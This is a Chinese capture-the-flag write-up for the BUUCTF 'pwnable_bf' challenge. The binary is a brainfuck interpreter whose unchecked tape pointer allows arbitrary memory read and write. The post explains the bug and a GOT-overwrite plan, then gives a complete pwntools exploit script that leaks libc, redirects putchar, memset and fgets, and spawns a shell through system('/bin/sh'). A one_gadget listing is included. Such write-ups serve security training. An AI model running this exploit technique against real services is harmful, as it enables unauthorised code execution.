2024-12第三周:pwnable_bf
每周一pwn系列
题目地址:BUUCTF在线评测
vmpwn专题-2
基本信息
逆向分析
一个brainfuck虚拟机
p是一个全局指针,指向 bss段的 tape
对opcode的解析相对比较简单
- “+”:++*p,tape存储的值+1
- “,”:输入一个字节到*p
- “-“:–*p,tape存储的值-1
- “.”:打印*p一个字节
- “<”:–p,p所指地址-1
- “>”:++p,p所指地址+1
- “[“:没用
因为没对p做出任何限制,所以可以任意地址读写
漏洞利用
现在能做的:
- 增/减任意地址一字节
- 输入/输出任意地址任意字节
partial relro,bss 又离 GOT 很近,可以直接改 GOT 表
我一开始想如何泄露完libc后再回到main上,改GOT为main?
其实不需要,opcode先泄露再输入,这样泄露完libc后程序会等待输入,我们就可以改GOT了
发现改成one_gadget没用,那么只能走system(‘/bin/sh’),但是putchar只能传参一字节,不好直接构造,还是得回到main上
思路:
- 先打印puts地址泄露libc
- 改putchar为main,改memset为gets,改fgets为system,然后回到main时输入 ‘/bin/sh’
我一开始想改puts为main,但是主函数还会调用puts,这就相当于调用了很多次main导致程序异常。改putchar就很好,毕竟已经泄露过了libc
EXP
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
#,
#dbg('b *0x0804865A')
#+
#dbg('b *0x08048665')
#leak puts
payload='<'*0x88
payload+='.>.>.>.'
payload+='<<<'
#putchar
payload+='>'*0x18
payload+=',>,>,>,>'
#memset
payload+='<'*0x8
payload+=',>,>,>,>'
#fgets
payload+='<'*0x20
payload+=',>,>,>,>'
payload+='.'
sla('except [ ]',payload)
ru('\n',True)
puts=u32(r(4))
lg('puts',puts)
libc.address=puts-ls('puts')
lg('libc',libc.address)
dbg('b *0x8048671')
payload=p32(0x8048671)+p32(ls('gets'))+p32(ls('system'))
s(payload)
sl('/bin/sh\x00')
#dbg('')
itr()
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
if __name__ == '__main__':
context(os='linux',arch='i386',bits=32,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./bf'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()